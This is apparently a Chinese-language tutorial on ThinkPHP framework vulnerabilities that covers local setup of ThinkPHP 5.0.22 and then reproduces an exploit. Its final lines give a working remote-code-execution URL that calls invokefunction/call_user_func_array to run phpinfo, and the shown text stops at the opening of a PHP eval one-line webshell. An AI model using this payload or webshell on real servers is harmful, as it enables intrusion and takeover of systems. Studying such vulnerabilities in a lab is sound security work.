ThinkPHP框架漏洞总结

Thinkphp简介

ThinkPHP是为了简化企业级应用开发和敏捷WEB应用开发而诞生的，是一个快速、兼容而且简单的轻量级国产PHP开发框架，诞生于2006年初，原名FCS，2007年元旦正式更名为ThinkPHP，遵循Apache2开源协议发布，从Struts结构移植过来并做了改进和完善，同时也借鉴了国外很多优秀的框架和模式，使用面向对象的开发结构和MVC模式，融合了Struts的思想和TagLib（标签库）、RoR的ORM映射和ActiveRecord模式。
ThinkPHP可以支持windows/Unix/Linux等服务器环境，正式版需要PHP5.0以上版本支持，支持MySql、PgSQL、Sqlite多种数据库以及PDO扩展，是一款跨平台，跨版本以及简单易用的PHP框架。

Thinkphp本地安装

官网链接：http://www.thinkphp.cn/down.html

本地搭建

1 安装vc9_x86(必装)

2安装phpstudy20161103

开启php

将下载好的thinkphp5.0.22解压，可以得到下图中的内容，将所有文件复制到网站的根目录，也就是www/web（这个是我新建的文件夹）

输入域名，这里本地，可以输入127.0.0.1或者localhost或者本地ip都可（这里如果是默认的域名，远程访问的时候要改一下hosts文件），网站目录可以是任意文件夹，默认是phpstudy安装目录下的WWW文件夹，点击新增后再点击保存设置并生成配置文件即可：

thinkphp的主目录是在public目录下，所以要进vhosts-conf文件配置目录

即可远程访问

Thinkphp本地复现

验证poc

http://192.168.8.89/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_arra
y&vars[0]=phpinfo&vars[1][]=-1%20and%20it%27ll%20execute%20the%20phpinfo

写入一句话

<?php eval($_POS